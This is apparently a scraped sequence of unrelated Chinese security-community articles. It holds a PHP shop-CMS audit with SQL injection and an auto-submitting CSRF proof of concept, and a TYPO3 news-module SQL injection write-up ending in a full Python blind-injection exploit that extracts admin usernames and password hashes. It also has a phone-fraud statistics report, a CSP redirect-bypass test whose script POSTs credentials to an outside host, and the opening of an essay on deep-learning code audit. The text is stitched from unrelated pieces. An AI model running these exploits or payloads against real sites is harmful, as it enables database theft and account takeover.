Debug::addmsg("<b> $className </b>类", 1); //在debug中显示自动包含的类
}
这里首先包含了 functions.inc.php 文件，该文件内部是一些全局函数，之后设置了许多的目录，
使用set_include_path($include_path) ，将这些目录下的文件全部包含进来，逐个点进去看看，发现了定义路由的文件是
brophp/bases/prourl.class.php 看看文件内容：
<?php
class Prourl {
/**
* URL路由,转为PATHINFO的格式
*/
static function parseUrl(){
if (isset($_SERVER['PATH_INFO'])){
//获取 pathinfo
$pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/"));
// 获取 control
$_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); //将数组开头的单元移出数组
// 获取 action
$_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); //再将将数组开头的单元移出数组
for($i=0; $i<count($pathinfo); $i+=2){
$_GET[$pathinfo[$i]]=$pathinfo[$i+1];
}
}else{
$_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index');//默认是index模块
$_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index'); //默认是index动作
if($_SERVER["QUERY_STRING"]){
$m=$_GET["m"];
unset($_GET["m"]); //去除数组中的m
$a=$_GET["a"];
unset($_GET["a"]); //去除数组中的a
$query=http_build_query($_GET); //形成0=foo&1=bar&2=baz&3=boom&cow=milk格式
//组成新的URL
$url=$_SERVER["SCRIPT_NAME"]."/{$m}/{$a}/".str_replace(array("&","="), "/", $query);
header("Location:".$url);
}
}
}
}
这段代码将我们的 URL 进行了处理，当我们请求这样的 URL时
http://localhost/leshang/index.php/product/index/id/32/pid/0/m_id/31
经过这样一段代码的处理后的效果是，
$_GET['m']= product
$_GET['a'] = index
$_GET['id'] = 32
$_GET['pid'] = 0
$_GET['m_id'] = 3
通过分析，我们直接按照标准的形式提交参数上去也是可以的，下面的 URL 和上面的 URL是一样的
http://localhost/leshang/index.php?m=product&a=index&id=32&pid=0&m_id=31
所以遇到 URL 重写也无需慌张，仔细分析程序即可。
之后继续分析 brophp.php 文件，我们还可以发现，程序没有对我们的参数进行过滤，接下了就上正则搜索了
$_SERVER|$_COOKIE|$_REQUEST|$_GET|$_POST
逐个分析，就能找到漏洞点，我把我的分析就给贴一下吧,
其中一个漏洞文件： admin/controls/acate.class.php
漏洞代码：
function del(){
$acate=D("acate");
if($_POST['dels']){
if($acate->delete($_POST['id'])){
$this->clear_cache();
$this->success("删除成功!", 1, "acate/index");
} else {
$this->error("删除失败!", 1, "acate/index");
}
} else {
if($acate->delete($_GET['id'])){
$this->clear_cache();
$this->success("删除成功!", 1, "acate/index");
} else {
$this->error("删除失败!", 1, "acate/index");
}
}
}
这里直接将 $_POST['id'] 传入了 delete 函数，我们来看看该函数的具体实现，
function delete(){
$where="";
$data=array();
$args=func_get_args(); //获取参数
if(count($args)>0){
$where = $this->comWhere($args); //传参 构造 where 语句
$data=$where["data"];
$where= $where["where"];
}else if($this->sql["where"] != ""){
$where=$this->comWhere($this->sql["where"]);
$data=$where["data"];
$where=$where["where"];
}
$order = $this->sql["order"] != "" ? " ORDER BY {$this->sql["order"][0]}" : "";
$limit = $this->sql["limit"] != "" ? $this->comLimit($this->sql["limit"]) : "";
if($where=="" && $limit==""){
$where=" where {$this->fieldList["pri"]}=''";
}
$sql="DELETE FROM {$this->tabName}{$where}{$order}{$limit}";
return $this->query($sql, __METHOD__,$data);
}
在进入 comWhere 函数，漏洞关键代码如下：
private function comWhere($args){
$where=" WHERE ";
$data=array();
if(empty($args))
return array("where"=>"", "data"=>$data);
foreach($args as $option) {
if(empty($option)){
$where = ''; //条件为空，返回空字符串；如'',0,false 返回： '' //5
continue;
}
else if(is_string($option))
{
if (is_numeric($option[0])) {
$option = explode(',', $option); //3
$where .= "{$this->fieldList["pri"]} IN(" . implode(',', array_fill(0, count($option), '?')) . ")";
$data=$option;
continue;
}
else
{
当 `$args` 的一个元素的值 为字符串时，就会直接并入 where 子句
$where .= $option; //2
continue;
}
}
.........................
..............................
$where=rtrim($where, "OR ");
return array("where"=>$where, "data"=>$data);
当 $args 的一个元素的值 为字符串时，就会直接并入 where 子句，之后返回。 这样，数据的来源没有过滤，处理过程也没过滤，造成了注入。
同时这里依旧存在 CSRF 漏洞。下面我的测试 POC
<form action=http://localhost/lesh/admin.php/acate/del method=POST>
<input type="text" name="id" value="jinyu'" />
<input type="text" name="dels" value="1" />
</form>
<script> document.forms[0].submit(); </script>
访问后，执行的 SQL 语句为：
DELETE FROM ls_acate WHERE jinyu'
该漏洞发生在 del 函数中，而且有很多文件都是直接复制了该函数，所以使用了该函数的都。。。。。。 下面我搜到的一部分
admin/controls/acate.class.php
admin/controls/admin.class.php
admin/controls/admingroup.class.php
admin/controls/appraise.class.php
admin/controls/brand.class.php
comment.class.php
consult.class.php
express.class.php
........
上面的注入需要管理员权限，下面就不需要任何权限了。。
漏洞文件 ： home/controls/user.class.php
关键代码：
function del_consult(){
$consult=D("Consult");
if($_GET['id']){
if($consult->delete($_GET['id'])){
$this->success("删除成功!", 1);
} else {
$this->error("删除失败!", 1);
}
}
}
这里和上面的也差不多， delete($_GET['id']) 将 id 参数带入了漏洞函数，造成注入。。
提交 http://localhost/lesh/index.php/user/del_consult?id=jinyu'
执行的语句：
DELETE FROM ls_consult WHERE jinyu'
同样的复制了该函数的都有漏洞。。。
为了文章知识的完整性,下面来看一个 二次注入 的例子，来源 <http://www.wooyun.org/bugs/wooyun-2010-0141461>
PHPSHE 二次注入一枚
case 'register':
if (isset($_p_pesubmit)) {
if($db->pe_num('user', array('user_name'=>pe_dbhold($_g_user_name)))) pe_error('用户名已存在...');
if($db->pe_num('user', array('user_email'=>pe_dbhold($_g_user_email)))) pe_error('邮箱已存在...');
if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('验证码错误');
$sql_set['user_name'] = $_p_user_name;
$sql_set['user_pw'] = md5($_p_user_pw);
$sql_set['user_email'] = $_p_user_email;
$sql_set['user_ip'] = pe_ip();
$sql_set['user_atime'] = $sql_set['user_ltime'] = time();
if ($user_id = $db->pe_insert('user', pe_dbhold($sql_set))) {
add_pointlog($user_id, 'reg', $cache_setting['point_reg'], '注册帐号');
$info = $db->pe_select('user', array('user_id'=>$user_id));
$_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']);
$_SESSION['user_id'] = $info['user_id'];
$_SESSION['user_name'] = $info['user_name'];
$_SESSION['pe_token'] = pe_token_set($_SESSION['user_idtoken']);
//未登录时的购物车列表入库
if (is_array($cart_list = unserialize($_c_cart_list))) {
foreach ($cart_list as $k => $v) {
$cart_info['cart_atime'] = time();
$cart_info['product_id'] = $k;
$cart_info['product_num'] = $v['product_num'];
$cart_info['user_id'] = $info['user_id'];
$db->pe_insert('cart', pe_dbhold($cart_info));
用户注册时 ，进行了转义，
然后登入时将完整的值带入了session
case 'login':
if (isset($_p_pesubmit)) {
$sql_set['user_name'] = $_p_user_name;
$sql_set['user_pw'] = md5($_p_user_pw);
if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('验证码错误');
if ($info = $db->pe_select('user', pe_dbhold($sql_set))) {
$db->pe_update('user', array('user_id'=>$info['user_id']), array('user_ltime'=>time()));
if (!$db->pe_num('pointlog', " and `user_id` = '{$info['user_id']}' and `pointlog_type` = 'reg' and `pointlog_text` = '登录帐号' and `pointlog_atime` >= '".strtotime(date('Y-m-d'))."'")) {
add_pointlog($info['user_id'], 'reg', $cache_setting['point_login'], '登录帐号');
}
$_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']);
$_SESSION['user_id'] = $info['user_id'];
$_SESSION['user_name'] = $info['user_name'];
z module/index/order.php 出库
case 'comment':
$order_id = pe_dbhold($_g_id);
$info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id));
if (!$info['order_id']) pe_error('参数错误...');
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
if (isset($_p_pesubmit)) {
pe_token_match();
if ($info['order_comment']) pe_error('请勿重复评价...');
foreach ($info_list as $k=>$v) {
$sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]);
$sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]);
$sql_set[$k]['comment_atime']= time();
$sql_set[$k]['product_id'] = $v['product_id'];
$sql_set[$k]['order_id'] = $order_id;
$sql_set[$k]['user_ip'] = pe_dbhold(pe_ip());
$sql_set[$k]['user_id'] = $_s_user_id;
$sql_set[$k]['user_name'] = $_s_user_name;
if (!$sql_set[$k]['comment_text']) pe_error('评价内容必须填写...');
}
if ($db->pe_insert('comment', $sql_set)) {
order_callback('comment', $order_id);
pe_success('评价成功!');
zmodule/index/order.php 出库
case 'comment':
$order_id = pe_dbhold($_g_id);
$info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id));
if (!$info['order_id']) pe_error('参数错误...');
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
if (isset($_p_pesubmit)) {
pe_token_match();
if ($info['order_comment']) pe_error('请勿重复评价...');
foreach ($info_list as $k=>$v) {
$sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]);
$sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]);
$sql_set[$k]['comment_atime']= time();
$sql_set[$k]['product_id'] = $v['product_id'];
$sql_set[$k]['order_id'] = $order_id;
$sql_set[$k]['user_ip'] = pe_dbhold(pe_ip());
$sql_set[$k]['user_id'] = $_s_user_id;
$sql_set[$k]['user_name'] = $_s_user_name;
if (!$sql_set[$k]['comment_text']) pe_error('评价内容必须填写...');
}
if ($db->pe_insert('comment', $sql_set)) {
order_callback('comment', $order_id);
pe_success('评价成功!');
我们注册个用户 aaaaaaa' ,购买商品后评价，可以看到 单引号带入了。 | 社区文章 |
# 【漏洞分析】TYPO3 CMS 新闻管理模块SQL注入漏洞分析（含exp）
|
##### 译文声明
本文是翻译文章，文章来源：ambionics.io
原文地址：<https://www.ambionics.io/blog/typo3-news-module-sqli>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[knight](http://bobao.360.cn/member/contribute?uid=162900179)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
通过POST，来发送orderByAllowed和orderBy，我们将能够控制SQL语句的一部分，并获得注入漏洞。
**正文**
新闻模块是TYPO3（Typo3内容管理系统）中最常用的模块之一，现在会受到SQL注入漏洞的攻击。虽然作者已经在4个月里内多次联系厂商，但是至今都没有修复。现在我们发布一下关于利用这个漏洞的细节。
另外，需要注意的是，当模块设置overrideDemand参数为1时，该漏洞就只会在默认情况下可以被利用。
**描述**
该模块是MVC架构中的一个组成部分。 作为用户，您可以列出并阅读新闻。
前者允许定义过滤消息的标准，例如作者，类别，发布日期等。以下是负责这样做的NewsController.php中的简化代码片段。其中的注释是我自己写的：
# List of parameters that cannot be set by the user
＃用户无法设置的参数列表
protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed'];
# This is our entry point
＃这是我们的入口点
# The only parameter, $overwriteDemand, is sent via POST
＃唯一的参数$ overwriteDemand是通过POST发送的
public function listAction(array $overwriteDemand = null)
{
# Initializes a Demand Object with default settings ＃使用默认设置初始化需求对象
$demand = $this->createDemandObjectFromSettings($this->settings);
# Sets up user-given settings from $overwriteDemand ＃从$ overwriteDemand设置用户给定的设置
$demand = $this->overwriteDemandObject($demand, $overwriteDemand);
# Builds an SQL query from the Demand object, and runs it ＃从Demand对象构建一个SQL查询，并运行它
$newsRecords = $this->newsRepository->findDemanded($demand);
# Displays results ＃显示结果
$this->view->display($newsRecords);
}
protected function overwriteDemandObject($demand, $overwriteDemand)
{
# Some values cannot be set by the user: they are removed ＃某些值不能由用户设置：它们被删除
foreach ($this->ignoredSettingsForOverride as $property) {
unset($overwriteDemand[$property]);
}
# Assign values that went through the filter by calling set<$name>($value) ＃通过调用set <$ name>（$ value）来分配通过过滤器的值
foreach ($overwriteDemand as $propertyName => $propertyValue) {
$methodName = 'set' . ucfirst($propertyName);
if(is_callable($demand, $setterMethodName))
$demand->{$setterMethodName}($propertyValue);
}
return $demand;
}
创建后，使用Demand对象的参数构建SQL查询：例如，设置一个作者作为查询条件来添加与此类似的条件来进行添加：
WHERE author='{$demand->getAuthor()}'
**原理**
任何属性都可能作为潜在的SQL注入向量。 可能的标准列在了下面：
<?php
public function setArchiveRestriction($archiveRestriction)
public function setCategories($categories)
public function setCategoryConjunction($categoryConjunction)
public function setIncludeSubCategories($includeSubCategories)
public function setAuthor($author)
public function setTags($tags)
public function setTimeRestriction($timeRestriction)
public function setTimeRestrictionHigh($timeRestrictionHigh)
public function setOrder($order)
public function setOrderByAllowed($orderByAllowed)
public function setTopNewsFirst($topNewsFirst)
public function setSearchFields($searchFields)
public function setTopNewsRestriction($topNewsRestriction)
public function setStoragePage($storagePage)
public function setDay($day)
public function setMonth($month)
public function setYear($year)
public function setLimit($limit)
public function setOffset($offset)
public function setDateField($dateField)
public function setSearch($search = null)
public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews)
public function setHideIdList($hideIdList)
public function setAction($action)
public function setClass($class)
public function setActionAndClass($action, $controller)
其中有一些很有用，因为它们不包含在SQL查询中的引号中; limit，offset，和order 看起来可以被利用。
但是不幸的是，前两个都被cast进行了过滤。
然而，最后一个order，通过白名单进行了过滤，而该白名单包含在另一个参数中：
<?php
if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) {
$order_by_field = $demand->getOrder();} else {
# Default
$order_by_field = 'id';}
通过POST，来发送orderByAllowed和orderBy，我们将能够控制SQL语句的一部分，并获得注入漏洞。
但是我们又一次被阻止了：orderByAllowed是黑名单参数之一：它不能通过POST来设置。 这里属于属性过滤/重新设置代码：
<?php
protected function overwriteDemandObject($demand, $overwriteDemand){
# Some values cannot be set by the user: they are removed ＃某些值不能由用户设置：它们被删除
foreach ($this->ignoredSettingsForOverride as $property) {
unset($overwriteDemand[$property]);
}
# Assign values that went through the filter by calling set<$name>($value)
＃通过调用set <$ name>（$ value）来分配通过过滤器的值
foreach ($overwriteDemand as $propertyName => $propertyValue) {
$methodName = 'set' . ucfirst($propertyName);
if(is_callable($demand, $setterMethodName))
$subject->{$setterMethodName}($propertyValue);
}
return $demand;}
为了调用setter，将该模块给定参数的第一个字母大写。它让我们绕过unset()过滤器：通过发送大写字母O来代替OrderByAllowed，它不再会被删除，并且setOrderByAllowed（）还会被调用。
我们现在可以定义自己的orderbyallowed：我们就可以随意的使用order语法，我们得到了一个SQL注入漏洞。
开发
由于我们正在利用MySQL上的ORDER BY语句，因此我们的有效载荷必须具有以下形式：
IF(
(
ORD(SUBSTRING(
(SELECT password FROM be_user WHERE id=1), 4, 1)
)) = 0x41
),
id,
title
)
根据测试的结果，消息的排序将发生变化，从而允许我们执行基于测试的SQL注入。
但是，对于一些应用程序逻辑和WAF过滤器，我们需要绕过一些限制，以便能够利用这种SQL注入。
BadChars：
任何大写字母
任何空格
逗号
SQL注释（由于WAF）
此外，表的名称是我们的有效载荷的前缀。 也就是说，SQL查询语句如下所示：
SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order
由于SQL不关心这种情况，所以第一个问题可以被丢弃。 第二个，连同注释，可以通过使用括号语法来绕过，例如：
..(SELECT(password)FROM(be_users)WHERE(id=1))...
逗号有点烦人，但MySQL提供了一些替代语法，例如SUBSTRING（x FROM y FOR
z）而不是SUBSTRING（x，y，z）和（CASE条件WHEN 1 THEN x ELSE y END）而不是 IF（条件，x，y）。
Badchars会被过滤，所以我们现在应该专注于前缀问题。 而不是使用两个字段，我们选择一个数字字段，并将其乘以1或-1，这取决于我们的条件，像这样：
uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)
如果条件为真，消息将按照uid排序。 否则，它们将被-uid排序，这意味着它们将以相反的顺序显示。
我们的最终有效载荷如下所示：
id*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)
我们现在就能够进行盲注了。 默认情况下，会话会绑定IP，这意味着我们无法使用它们来劫持帐户。 我们需要下载并强制进行暴力破解。
**补丁**
补丁的最佳方法是通过将overrideDemand的参数设置为零来阻止用户更改需求参数。
另一种方法是阻止从GET和POST中包含OrderByAllowed的任何案例变体和URL编码的键。
**时间线**
2017-01-05发送电子邮件到TYPO3的安全团队，报告通过DateField就可以漏洞利用（相同的向量，只不过更容易）
2017-01-20漏洞被发现，TYPO3表示已经修补
2017-01-25报告了通过OrderByAllowed可以进行漏洞利用
2017-04-05多次尝试后仍然没有回答
**Exploit**
#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this :-)
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
# We add 9 so that the result has two digits
# If the length is superior to 100-9 it won't work
size = blind_size(
'length(%s)+9' % field, table, condition,
2, string.digits
)
size = int(size) - 9
data = blind_size(
field, table, condition,
size, charset
)
return data
def select_position(field, table, condition, position, char):
payload = 'select(%s)from(%s)where(%s)' % (
field, table, condition
)
payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
payload, ord(char)
)
return payload
def blind_size(field, table, condition, size, charset):
string = ''
for position in range(size):
for char in charset:
payload = select_position(field, table, condition, position+1, char)
if test(payload):
string += char
print(string)
break
else:
raise ValueError('Char was not found')
return string
def test(payload):
response = session.post(
URL,
data=data(payload)
)
response = response.text
return response.index(PATTERN0) < response.index(PATTERN1)
def data(payload):
return {
'tx_news_pi1[overwriteDemand][order]': payload,
'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
'tx_news_pi1[search][subject]': '',
'tx_news_pi1[search][minimumDate]': '2016-01-01',
'tx_news_pi1[search][maximumDate]': '2016-12-31',
}
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET)) | 社区文章 |
# “裸聊交友”诈骗多发，80、90后最容易陷入桃色风波
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗数据揭秘之数据总览：人均损失过万
2021年第一季度360手机先赔共接到手机诈骗举报606起。其中诈骗申请336起，涉案总金额高达491.0万元，人均损失14611元。
## 诈骗数据揭秘之诈骗类型：谨防“手机交友”诈骗
在所有诈骗申请中，交友占比最高达23.5%；其次是虚假兼职（19.6%）、金融理财（14.3%）、身份冒充（10.4%）、虚假购物（9.5%）等。
### 手机诈骗“三巨头”
从涉案总金额来看，交友类诈骗总金额最高，达188.9万元，占比38.5%；其次是虚假兼职诈骗，涉案总金额139.4万元，占比28.4%；金融理财排第三，涉案总金额为64.8万元，占比13.2%。
### “交友”需谨慎，损失价很高！
2021年第一季度，手机诈骗中交友、虚假兼职、金融理财属于高危诈骗类型；身份冒充、赌博博彩属于中危诈骗类型。其中，交友类人均损失最高，约2.4万元；其次为虚假兼职类人均损失约为2.1万元。
## 诈骗数据揭秘之性别分布：男性受害者更多，女性损失更惨重
2021年第一季度，从举报用户的性别差异来看，男性受害者占68.5%，女性占31.5%，男性受害者占比高于女性。从人均损失来看，男性为13586元，女性为16837元，男性人均损失低于女性。
## 诈骗数据揭秘之年龄分布：90后成骗子首要“目标”
从被骗网民的年龄段看，90后的手机诈骗受害者占所有受害者总数的38.7%，是不法分子从事网络诈骗的主要受众人群；其次是00后，占比为29.5%；80后占比为23.8%；70后占比为6.0%、60后占比为1.2%等。
### 8090谨防“裸聊”诈骗
从被骗网民的年龄段及人均损失来看，2021年第一季度，80后与90后为诈骗高发人群，这两类人群的受骗类型均以裸聊交友为主。之所以容易被骗，主要是平时爱上网且心存猎奇，喜欢寻求视觉刺激，一不小心就成为裸聊诈骗团伙囊中“猎物”，一旦被入圈套，由于经验不足，被裸聊诈骗团伙几经“敲打”，就不得不“缴械投降”。
### 诈骗数据揭秘之地域分布
2021年第一季度，从各地区手机诈骗的举报情况来看，山东（8.6%）、河南（7.4%）、广东（6.3%）、四川（5.7%）、湖南（4.5%）这5个地区的被骗用户最多，举报数量约占到了全国用户举报总量的32.4%。
从各城市手机诈骗的举报情况来看，北京（2.7%）、渭南（1.5%）、嘉兴（1.5%）、武汉（1.5%）、济宁（1.5%）这5个城市的被骗用户最多，举报数量约占到了全国用户举报总量的8.6%。
关注公众号：360手机卫士服务号
回复关键词 **【报告】**
即可查看报告完整版内容 | 社区文章 |
作者：LoRexxar 原文连接：<http://lorexxar.cn/2016/10/31/csp-then2/>
CSP真神奇，前段时间看了一篇国外的文章，导致有了新的体验，302不仅仅可以在ssrf中有特殊的表现，就连csp也可以，很强势
[原文连接](https://chloe.re/2016/07/25/bypassing-paths-with-open-redirects-in-csp/)
# 漏洞
让我们逐步分析漏洞的成因
根据文章，首先我们意识到如果我们构造一个重定向，就可以bypass CSP的域限制，在分析之前，我们先看一个测试页面
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/");
?>
<html>
<head>
</head>
<body>
csp header test
<script src="/test/js/test.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>
这是一个比较常见的包含csp的站，整个站都在/test/下，/test/js/下包含正常的js.
而CSP中仅仅允许了两个域
* <http://127.0.0.1>
* <http://xss.cc/the_only_allow_dir/>
在第一个域下的某个位置有个可以定义重定向的页面，比如
**<http://127.0.0.1/test.php>**
这里测试的时候写在了根目录下，不过是要是域内允许的任何为之都可以
<?php
header("Location: " . $_GET[u]);
?>
这样的功能一般多出现在登陆页面
第二个我们需要一个被允许的域，比如[http://127.0.0.1/里一般会有js目录被允许，然后可能存在upload域可以上传一个js](http://127.0.0.1/%E9%87%8C%E4%B8%80%E8%88%AC%E4%BC%9A%E6%9C%89js%E7%9B%AE%E5%BD%95%E8%A2%AB%E5%85%81%E8%AE%B8%EF%BC%8C%E7%84%B6%E5%90%8E%E5%8F%AF%E8%83%BD%E5%AD%98%E5%9C%A8upload%E5%9F%9F%E5%8F%AF%E4%BB%A5%E4%B8%8A%E4%BC%A0%E4%B8%80%E4%B8%AAjs)
这里我们允许了[http://xss.cc/the_only_allow_dir/这个域，然后在](http://xss.cc/the_only_allow_dir/%E8%BF%99%E4%B8%AA%E5%9F%9F%EF%BC%8C%E7%84%B6%E5%90%8E%E5%9C%A8)
http://xss.cc/myjs/a.js
写了一个js，内容是
alert(32)
现在所有的条件都具备了，打开上面的测试页面。
[
成功了
# 漏洞的限制以及必备条件？
在成功之后，我们可能需要讨论的更多，那么这个漏洞的限制在哪
## 如果我们不允许302所在的域
代码成了下面这样
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/302.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>
这里我们把302.php放在了站的根目录下，而我们只允许了 **<http://127.0.0.1/test/js/>** 和
**<http://xss.cc/test/>** 两个域下，很显然，302.php并不在被允许的域，结果显而易见。
[
被CSP拦截了
## 去掉外域的允许
将代码改为
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/js/302.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>
我们 **/test/js/302.php?u=//xss.cc/myjs/a.js** 这句跳转到了外域 **xss.cc**
的myjs目录下，但是我们把外域下的CSP策略删除了。
[
结果是CSP仍然会追过去，被拦截了，什么都没发生。
## 外域既然允许，我们可以直接使用吗
测试到这里，肯定有个猜测，如果外域既然允许，是不是我们可以直接使用，代码如下
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="//xss.cc/myjs/a.js">
</script>
</body>
</html>
结果不变
[
## 既然能执行js，那么能发数据到xss平台吗
既然我们成功的绕过了CSP的限制，那么我们是不是能把数据发送出去呢，比如发到xss平台
代码仍然如下
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/js/302.php?u=//xss.cc/myjs/test.js">
</script>
</body>
</html>
这里我们把js换成了test.js
var xml = new XMLHttpRequest();
xml.open('POST', 'http://xss.cc', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('username=123&password=123');
[
然后看看
[
看上去成功了
[
看上去收到了，可是我们是不是忽略了什么，CSP的设置好像少了default-src
<?php
header("Content-Security-Policy: default-src self script-src http://127.0.0.1/test/js/ http://xss.lazysheep.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/js/302.php?u=//xss.lazysheep.cc/myjs/test.js">
</script>
</body>
</html>
现在我们再试试看
[
被拦截了，事实上，并没有成功跨域
# 结论
总结来看，这里漏洞利用需要一些条件
1、在script-src允许的域下，需要存在一个重定向的页面，这种页面大多存在于登陆，退出登录。
2、在script-src允许的域下，存在某个任意文件的上传点（任意目录）。
3、有特别的方式跨域发送请求，或者有站内域可以接受请求。
看起来是比较难得利用条件，但是其实不然
比如某个站调用某个cdn，或者类似于`script-src example.com/scripts/
google.com/recaptcha/`，`google.com/script/*`下有个evil.js，然后刚好站内有个重定向，漏洞条件已经成立了。
# 为什么
那么为什么CSP会发生这样的漏洞呢，原作者提到了这样的问题,在Egor Homakov的文章中说了这个问题
<http://www.myseosolution.de/deanonymizing-facebook-users-by-csp-bruteforcing/>
事实上如果想要避免这样的问题，我们需要紧缩csp中允许的范围，而最好的解决办法是禁用重定向，文档中关于重定向的文章在这里
<https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects> | 社区文章 |
# 零、背景
漏洞挖掘是安全中比较核心的一个方向，无论是个人安全爱好者的研究还是企业的安全建设很多工作都是围绕漏洞来做的。在大型甲方公司中负责漏洞挖掘和发现的团队通常是SDL或者现在叫DevSecOps，每一个产品发布之前至少要对其做黑盒和白盒两个方面的检测。
无论是黑盒与白盒很重要的一点就是要对其实现自动化，这一点已经有很多了研究成果，包括一些优秀的开源项目。本文探讨一种深度学习算法在白盒代码审计中的利用方式，尝试使用算法检测源代码中的漏洞，类似的最早的一篇论文是发表在NDSS的
[VulDeePecker](https://arxiv.org/abs/1801.01681 "VulDeePecker") ，感兴趣的可以看一下。
本文是很久之前参考类似文章做的实验，只是现在整理了一下，可能思路已经不再新鲜了。
# 一、漏洞挖掘概述
漏洞挖掘的手法主要分为两个：一是黑盒测试；
二是白盒测试。黑盒测试：也称功能测试，把程序看作一个不能打开的黑盒子，在完全不考虑程序内部结构和内部特性的情况下，对程序接口进行测试。
黑盒的自动化就是对接口使用不同的POC进行测试，然后分析响应的返回包确定POC是否正确执行。黑盒的扫描工具有很多，有些可以和爬虫组合使用，输入一个域名自动爬取接口测试，有些则是半自动化需要自己输入接口。黑盒扫描有很有一些有趣的挑战，比如如何用更少的请求判断是否存在漏洞，自如自动化检测DOM-XSS等。
其实黑盒扫描已经有了结合算法的研究成果，在2016年日本的信息安全大会Code Blue 2016上Isao Takaesu发表了一篇名为《[Method
of Detecting Vulnerability in Web Apps Using Machine
Learning](https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit "Method of Detecting
Vulnerability in Web Apps Using Machine
Learning")》的研究成果。作者所设计的系统包含了智能爬虫和智能检测模型两个部分，爬虫负责识别页面类型（比如登录表单或者后台界面）和数据构造（比如自动且正确的填写表单中的邮箱、手机号）；检测模型负责构造Payload，换句话说该系统的漏洞扫描并不是依赖提前写好的POC，还是根据不同的请求实时生成新的Payload（当然，这里针对的是通用型漏洞，比如XSS，SQL
注入）。其模型核心思想如下所示：
算法会根据上一次请求的Payload和Response生成一个新的Payoad，这其实是模拟了人测试的过程，比如当我们输入<script>alert1)</script>进行XSS漏洞测试时，一些符号在输出时被转码，常规的扫描器就是认为此次测试失败了，要换一个新的Payload，而此模型会根据返回结果尝试生成一个可以绕过的Payload，这也就是其智能化的体现。由于本文主要探讨白盒的漏洞挖掘，此模型不详细介绍，感兴趣可以在其github上了解项目细节。
白盒测试：又称结构测试、透明盒测试或基于代码的测试。白盒测试是可视的，了解程序内部逻辑结构，对所有逻辑路径进行测试。
相对于黑盒，白盒自动化的难度更高一些，因为这涉及到变量的传递和代码语义的理解，很难将专家经验直接转化成工具，因此国内有些大型互联网公司仍然会加入人工代码审计的流程来卡点，保证代码质量。
# 二、基于深度学习的代码审计模型
## 2.1 代码审计常规流程
在引入算法之前，我们先来回顾一下一个正常的人工审计流程是怎样的，大体可以分为以下四步（可能每个人的习惯不同，会有差异）：
1. 首先要能理解代码
2. 寻找输入点和危险函数
3. 确定代码漏洞利用的代码路径（ROC链）
4. 对代码路径进行测试
以下面这段代码为例
